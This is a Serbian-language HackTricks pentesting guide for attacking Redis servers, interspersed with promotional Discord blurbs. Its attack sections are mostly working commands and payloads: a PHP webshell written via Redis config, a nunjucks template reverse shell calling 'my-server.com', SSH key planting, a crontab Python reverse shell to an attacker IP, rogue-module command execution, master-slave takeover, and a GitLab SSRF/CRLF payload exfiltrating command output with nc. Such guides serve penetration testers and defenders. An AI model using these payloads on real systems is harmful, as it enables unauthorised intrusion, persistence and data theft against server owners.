6379 - Pentesting Redis

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Pridružite se HackenProof Discord serveru kako biste komunicirali sa iskusnim hakerima i lovcima na bagove!

Hakerski Uvidi Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja

Vesti o Hakovanju u Realnom Vremenu Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu

Najnovije Najave Budite informisani o najnovijim pokretanjima nagradnih lova na bagove i bitnim ažuriranjima platformi

Pridružite nam se na Discord-u i počnite da sarađujete sa vrhunskim hakerima danas!

Osnovne Informacije

Iz dokumenata: Redis je otvoreni izvor (BSD licenciran), u memoriji skladište struktura podataka, korišćeno kao baza podataka, keš i posrednik poruka).

Po podrazumevanim podešavanjima, Redis koristi protokol zasnovan na običnom tekstu, ali morate imati na umu da takođe može implementirati ssl/tls. Naučite kako da pokrenete Redis sa ssl/tls ovde.

Podrazumevani port: 6379

PORT     STATE SERVICE  VERSION
6379/tcp open  redis   Redis key-value store 4.0.9

Automatsko nabrajanje

Neke automatizovane alatke koje mogu pomoći u dobijanju informacija sa redis instance:

nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server

Ručno nabrajanje

Baner

Redis je tekstualni protokol, možete jednostavno poslati komandu preko soketa i vraćene vrednosti će biti čitljive. Takođe zapamtite da Redis može raditi koristeći ssl/tls (ali ovo je vrlo čudno).

U redovnom Redis primeru možete se jednostavno povezati koristeći nc ili takođe možete koristiti redis-cli:

nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools

Prva komanda koju možete probati je info. Može vratiti izlaz sa informacijama o Redis instanci ili nešto slično sledećem:

-NOAUTH Authentication required.

U ovom poslednjem slučaju, to znači da trebate validne akreditacije da biste pristupili instanci Redis.

Redis Autentikacija

Podrazumevano se Redis može pristupiti bez akreditacija. Međutim, može se konfigurisati da podržava samo lozinku ili korisničko ime + lozinku. Moguće je postaviti lozinku u datoteci redis.conf sa parametrom requirepass ili privremeno do ponovnog pokretanja servisa povezivanjem na njega i pokretanjem: config set requirepass p@ss$12E45. Takođe, korisničko ime se može konfigurisati u parametru masteruser unutar datoteke redis.conf.

Ako je konfigurisana samo lozinka, koristi se korisničko ime "default". Takođe, imajte na umu da nema načina da se spolja sazna da li je Redis konfigurisan samo sa lozinkom ili korisničkim imenom + lozinkom.

U slučajevima poput ovog, trebaće vam validne akreditacije da biste interagovali sa Redisom pa možete pokušati da bruteforce to. U slučaju pronalaska validnih akreditacija, treba da autentifikujete sesiju nakon uspostavljanja veze komandom:

AUTH <username> <password>

Valid credentials će dobiti odgovor: +OK

Autentifikovana enumeracija

Ako Redis server dozvoljava anonimne konekcije ili ako ste dobili validne kredencijale, možete pokrenuti proces enumeracije servisa korišćenjem sledećih komandi:

INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]

Ostale Redis komande možete pronaći ovde i ovde.

Imajte na umu da se Redis komande instance mogu preimenovati ili ukloniti u redis.conf fajlu. Na primer, ovaj red će ukloniti komandu FLUSHDB:

rename-command FLUSHDB ""

Više o bezbednom konfigurisanju Redis servisa možete pronaći ovde: https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04

Takođe možete pratiti u realnom vremenu Redis komande izvršene sa komandom monitor ili dobiti 25 najsporijih upita sa slowlog get 25

Pronađite više zanimljivih informacija o dodatnim Redis komandama ovde: https://lzone.de/cheat-sheet/Redis

Dumpovanje Baze Podataka

Unutar Redisa baze su brojevi koji počinju od 0. Možete proveriti da li je neka baza u upotrebi u izlazu komande info unutar dela "Keyspace":

Ili možete jednostavno dobiti sve keyspaces (baze) sa:

INFO keyspace

U tom primeru se koriste baza podataka 0 i 1. Baza podataka 0 sadrži 4 ključa, a baza podataka 1 sadrži 1. Podrazumevano, Redis će koristiti bazu podataka 0. Da biste na primer izvršili iskop baze podataka 1, morate uraditi:

SELECT 1
[ ... Indicate the database ... ]
KEYS *
[ ... Get Keys ... ]
GET <KEY>
[ ... Get Key ... ]

Ukoliko dobijete sledeću grešku -WRONGTYPE Operation against a key holding the wrong kind of value prilikom izvršavanja GET <KLJUČ> to je zato što ključ može biti nešto drugo osim stringa ili celog broja i zahteva posebnog operatora da bi se prikazao.

Da biste saznali tip ključa, koristite TYPE komandu, primer ispod za listu i hash ključeve.

TYPE <KEY>
[ ... Type of the Key ... ]
LRANGE <KEY> 0 -1
[ ... Get list items ... ]
HGET <KEY> <FIELD>
[ ... Get hash item ... ]

# If the type used is weird you can always do:
DUMP <key>

Iskopaj bazu podataka pomoću npm redis-dump ili pythona redis-utils

Pridružite se HackenProof Discord serveru kako biste komunicirali sa iskusnim hakerima i lovcima na bagove!

Hakerski uvidi Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja

Vesti o hakovanju u realnom vremenu Budite u toku sa dinamičnim svetom hakovanja putem vesti i uvida u realnom vremenu

Poslednje objave Budite informisani o najnovijim nagradama za pronalaženje bagova i važnim ažuriranjima platforme

Pridružite nam se na Discordu i počnite da sarađujete sa vrhunskim hakerima danas!

Redis RCE

Interaktivna ljuska

redis-rogue-server može automatski dobiti interaktivnu ljusku ili obrnutu ljusku u Redis-u (<=5.0.5).

./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>

PHP Webshell

Informacije sa ovde. Morate znati putanju do foldera Veb sajta:

root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK

​Ako pristup web ljusci izuzetak, možete isprazniti bazu podataka nakon rezervne kopije i pokušati ponovo, ne zaboravite da vratite bazu podataka.

Šablon Web ljuske

Kao i u prethodnom odeljku, takođe možete prepisati neku html datoteku šablona koja će biti tumačena od strane mašine za šablone i dobiti ljusku.

Na primer, prateći ovaj writeup, možete videti da je napadač ubacio rev shell u html koji tumači nunjucks mašina za šablone:

{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
cp = global.process.mainModule.require('child_process'),
sh = cp.spawn('sh', []);
var client = new net.Socket();
client.connect(1234, 'my-server.com', function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});"
)()}}

Imajte na umu da nekoliko template engine-a kešira šablone u memoriji, tako da čak i ako ih prepišete, novi neće biti izvršen. U ovim slučajevima, ili je programer ostavio automatsko učitavanje aktivno ili morate izvršiti DoS napad na servis (i očekivati da će se automatski ponovo pokrenuti).

SSH

Primer odavde

Molimo vas da imate na umu da rezultat config get dir može biti promenjen nakon drugih ručno izvršenih eksploatacionih komandi. Predlažemo da ga pokrenete prvo odmah nakon prijavljivanja u Redis. U izlazu config get dir možete pronaći home direktorijum redis korisnika (obično /var/lib/redis ili /home/redis/.ssh), i znajući ovo znate gde možete napisati fajl authenticated_users da biste pristupili putem ssh sa korisnikom redis. Ako znate home direktorijum drugog validnog korisnika gde imate dozvole za pisanje, takođe možete zloupotrebiti:

  1. Generišite par ssh javni-privatni ključ na vašem računaru: ssh-keygen -t rsa

  2. Napišite javni ključ u fajl: (echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt

  3. Uvezite fajl u redis: cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key

  4. Sačuvajte javni ključ u fajlu authorized_keys na redis serveru:

root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
  1. Na kraju, možete se ssh-ovati na redis server sa privatnim ključem: ssh -i id_rsa redis@10.85.0.52

Ova tehnika je automatizovana ovde: https://github.com/Avinash-acid/Redis-Server-Exploit

Crontab

root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK

Poslednji primer je za Ubuntu, za Centos, gore navedena komanda treba da bude: redis-cli -h 10.85.0.52 config set dir /var/spool/cron/

Ovaj metod takođe može biti korišćen za zaradu bitkoina: yam

Učitavanje Redis modula

  1. Prateći uputstva sa https://github.com/n0b0dyCN/RedisModules-ExecuteCommand možete kompajlirati redis modul za izvršavanje proizvoljnih komandi.

  2. Zatim vam je potreban način da učitate kompajlirani modul

  3. Učitajte učitani modul tokom izvršavanja sa MODULE LOAD /putanja/do/mymodule.so

  4. Prikažite učitane module da proverite da je ispravno učitan: MODULE LIST

  5. Izvršite komande:

127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
  1. Isključite modul kada god želite: MODULE UNLOAD mymodule

Bypass LUA pesak

Ovde možete videti da Redis koristi komandu EVAL za izvršavanje Lua koda u pesku. U povezanom postu možete videti kako to zloupotrebiti koristeći funkciju dofile, ali očigledno ovo više nije moguće. U svakom slučaju, ako možete zaobići Lua pesak, možete izvršiti proizvoljne komande na sistemu. Takođe, iz istog posta možete videti neke opcije za izazivanje DoS.

Neki CVE-ovi za izbegavanje LUA:

Master-Slave Modul

​Sve operacije na master redisu automatski se sinhronizuju sa slave redisom, što znači da možemo smatrati ranjivost redis-a kao slave redis, povezan sa master redisom koji je pod našom kontrolom, tada možemo uneti komandu u naš redis.

master redis : 10.85.0.51 (Hacker's Server)
slave  redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld

SSRF razgovor sa Redisom

Ako možete poslati čisti tekst zahtev Redisu, možete komunicirati s njim jer će Redis čitati zahtev po liniji i jednostavno odgovarati greškama na linije koje ne razume:

-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'

Dakle, ako pronađete SSRF vuln na veb lokaciji i možete kontrolisati neke zaglavlja (možda sa CRLF vuln) ili POST parametre, moći ćete da šaljete proizvoljne komande Redis-u.

Primer: Gitlab SSRF + CRLF do Shell

U Gitlab11.4.7 otkrivene su SSRF ranjivost i CRLF. SSRF ranjivost je bila u funkcionalnosti uvoza projekta sa URL-a prilikom kreiranja novog projekta i omogućila je pristup proizvoljnim IP adresama u obliku [0:0:0:0:0:ffff:127.0.0.1] (ovo će pristupiti 127.0.0.1), a CRLF vuln je iskorišćen dodavanjem karaktera %0D%0A na URL.

Stoga je bilo moguće zloupotrebiti ove ranjivosti da bi se komuniciralo sa Redis instancom koja upravlja redovima iz gitlaba i zloupotrebiti te redove da bi se dobilo izvršenje koda. Payload za zloupotrebu Redis reda je:

multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec

I URL enkodujem zahtev zloupotrebljavajući SSRF i CRLF da izvršim whoami i pošaljem izlaz preko nc je:

git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git

Za neki razlog (kao što je slučaj sa autorom https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/ odakle je ova informacija preuzeta) eksploatacija je uspela sa šemom git a ne sa šemom http.

Pridružite se HackenProof Discord serveru kako biste komunicirali sa iskusnim hakerima i lovcima na bagove!

Hakerski uvidi Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja

Vesti o hakovanju u realnom vremenu Budite u toku sa dinamičnim svetom hakovanja kroz vesti i uvide u realnom vremenu

Poslednje najave Budite informisani o najnovijim nagradama za pronalaženje bagova i važnim ažuriranjima platformi

Pridružite nam se na Discord-u i počnite da sarađujete sa vrhunskim hakerima danas!

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated